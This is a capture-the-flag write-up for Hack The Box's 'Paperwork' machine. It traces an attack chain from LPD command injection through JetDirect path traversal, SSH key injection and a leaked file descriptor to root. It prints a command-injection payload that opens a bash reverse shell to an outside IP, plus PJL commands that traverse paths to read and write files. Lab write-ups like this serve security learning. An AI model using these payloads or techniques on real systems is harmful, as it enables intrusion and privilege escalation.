Paperwork
Hack The Box · Easy · Linux
Easy
Linux
User + Root owned
Machine Overview
Flags
Attack Chain
1. Reconnaissance
nmap -p- → 22 (SSH), 80 (nginx → paperwork.htb), 1515 (Archive_Printer is ready and printing.).
- Web "Intake Portal" (Department of Records & Archives) leaks the config: Protocol RFC 1179, Target Queue
archive_intake, Internal Processor paperwork-archive-v1.02 (downloadable source).
2. Source review → LPD command injection
- Downloaded
/download/archive (paperwork-archive-v1.02.zip → server.py).
server.py parses the LPD control file; the J line's job_name flows into subprocess.Popen(f"echo 'Archive: {job_name}' >> /tmp/archive.log", shell=True) — command injection.
- Payload
x'; bash -c 'bash -i >& /dev/tcp/10.10.14.10/4444 0>&1'; # → reverse shell as lp (uid 7).
3. JetDirect/PJL path traversal
jetdirect.service runs jetdirect.py as archivist, listening on 127.0.0.1:9100, root dir /home/archivist/printer/.
_translate() does os.path.normpath(os.path.join(root, clean)) without verifying the result stays under root → ../ traversal.
FSUPLOAD NAME="../user.txt" → read user flag [REDACTED].
FSDOWNLOAD NAME="../.ssh/authorized_keys" (NAME before SIZE, no FORMAT:BINARY) → wrote my ed25519 pubkey → SSH as archivist.
4. SCM_RIGHTS fd leak → ADMIN_PASSWORD
paperwork.service (paperwork-daemon, root) opens /etc/paperwork/admin_pins.conf at startup (admin_fd).
- It watches
/home/archivist/printer/logs/commands.log; when the log contains FSQUERY/FSUPLOAD/FSDOWNLOAD, the next client on /run/paperwork/mgmt.sock (mode 660 root:archivist) receives log_fd + admin_fd via SCM_RIGHTS.
- Triggered a
FSQUERY, connected to the socket, recvmsg() → read admin_fd → ADMIN_PASSWORD=….
5. Root
su - root -c 'id; cat /root/root.txt' with the leaked password → root flag [REDACTED] (verified uid=0(root)).
Techniques Demonstrated
- LPD (RFC 1179) raw-TCP interaction (port 1515)
- Command injection via unsanitized
shell=True f-string (x'; cmd; # quote-escape)
- JetDirect/PJL file-system ops (
FSDIRLIST/FSUPLOAD/FSDOWNLOAD) with UEL framing
- Path traversal via
os.path.normpath(join(...)) without a root-containment check
- Arbitrary file write → SSH
authorized_keys injection → interactive shell
- Unix-socket
SCM_RIGHTS file-descriptor leak (root daemon leaking an already-open secret)
- Password reuse (
ADMIN_PASSWORD) → su root
Tools Used
nmap, curl, Python 3 (socket for LPD/PJL/SCM_RIGHTS, paramiko for SSH, websocket n/a), ssh-keygen.
← all writeups